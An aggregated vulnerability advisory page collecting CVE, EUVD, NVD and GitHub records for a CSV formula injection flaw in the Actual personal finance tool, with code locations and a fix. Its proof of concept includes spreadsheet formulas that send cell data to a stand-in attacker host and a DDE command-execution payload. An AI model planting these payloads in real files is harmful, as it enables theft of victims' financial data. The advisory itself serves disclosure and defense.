Actual: CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Source published

7 Jul 2026 20:58:16 UTC

Source modified

9 Jul 2026 14:42:17 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 4.2 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Source published

Jul 7, 2026, 8:58:16 PM (timezone not stated)

Source modified

Jul 9, 2026, 2:42:17 PM (timezone not stated)

Observed here

7 Nov 2026 11:33:05 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 4.2 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Source published

7 Jul 2026 22:16:52 UTC

Source modified

25 Oct 2026 20:10:00 UTC

Observed here

27 Oct 2026 13:11:58 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 4.2 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

## Summary `exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK("http://attacker/?leak="&B2,"Bank refund")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel. ## Details Sink — `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`: ```ts return csvStringify(transactionsForExport, { header: true }); ``` and the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — `grep` for `csvStringify` finds exactly one source file across the monorepo. Source of attacker-controlled `Payee`/`Notes`: - `packages/loot-core/src/server/transactions/import/parse-file.ts:77` dispatches uploaded files to `parseCSV` (`:109`), `parseOFX` (`:200`), `parseQIF` (`:158`), `parseCAMT` (`:250`). None of them strip or escape formula prefixes from `payee_name`/`imported_payee`/`notes`. - For OFX, `mapOfxTransaction` in `packages/loot-core/src/server/transactions/import/ofx2json.ts` only runs `html2Plain` (HTML entity decoding) on the NAME field — `=`, `+`, `-`, `@`, `\t` are untouched. - `sync.normalizeTransactions` (`packages/loot-core/src/server/transactions/sync.ts`) applies `title()` casing, which only mutates letters via `String.toLowerCase`; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (`=hyperlink(...)` parses identically to `=HYPERLINK(...)`). - The payee can also be entered directly through the UI or set via the `@actual-app/api`'s payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload. Verification that `csv-stringify` does not neutralize formulas: ``` $ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))" Payee "=HYPERLINK(""http://x/?""&B2,""refund"")" ``` The double-quote escaping is intact, but the leading `=` is not prefixed with `'` or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open. ## PoC 1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file": ``` Date,Payee,Amount 2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00 2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00 2026-01-03,"+1+1",-25.00 2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00 ``` 2. Victim imports through Account → Import file. `parseFile` (`parse-file.ts:77`) → `parseCSV`/`parseOFX`/`parseQIF`/`parseCAMT` returns rows with the formula strings preserved as `payee_name`. `sync.normalizeTransactions` does not strip the prefix characters. 3. Payees are persisted into the `payees` table verbatim. 4. Some time later the victim runs Account → menu → Export. `transactions-export-query` invokes `exportQueryToCSV` (`export-to-csv.ts:131`). 5. The exported file looks like (verified output shape from `csvStringify`): ``` Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared ``` 6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. `=HYPERLINK(...)` renders as a clickable link that exfiltrates adjacent cell values to attacker on click; `=WEBSERVICE`/`=IMPORTXML` (Sheets/LibreOffice) fire automatically; legacy `=cmd|...` DDE may execute on unpatched Excel. ## Impact - **Confidentiality**: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through `=HYPERLINK` clicks or auto-firing `=WEBSERVICE`/`=IMPORTXML`. - **Integrity**: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged "Refund" line items linking to phishing). - **Reach**: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget. - **Note on AC:H**: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but `=HYPERLINK` exfil is universal and silent. ## Recommended Fix Pass a `cast.string` callback to `csv-stringify` that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in `packages/loot-core/src/server/transactions/export/export-to-csv.ts`: ```ts import { stringify as csvStringify } from 'csv-stringify/sync'; const FORMULA_PREFIX = /^[=+\-@\t\r]/; function neutralizeFormula(value: string): string { return FORMULA_PREFIX.test(value) ? `'${value}` : value; } const csvOptions = { header: true, cast: { string: (value: string) => neutralizeFormula(value), }, } as const; // export-to-csv.ts:56 return csvStringify(transactionsForExport, csvOptions); // export-to-csv.ts:131 return csvStringify(transactionsForExport, csvOptions); ``` Alternative defenses to consider in addition: - Strip/neutralize formula prefixes on import in `parse-file.ts` for `payee_name`/`notes` so the database never contains formula-shaped strings (defense in depth — protects any future export consumers). - Add a regression unit test that asserts every CSV cell starting with `=`, `+`, `-`, `@`, `\t`, or `\r` is prefixed with `'`.

Source published

22 Jun 2026 23:48:40 UTC

Source modified

10 Sep 2026 03:51:09 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Publisher rating · MODERATE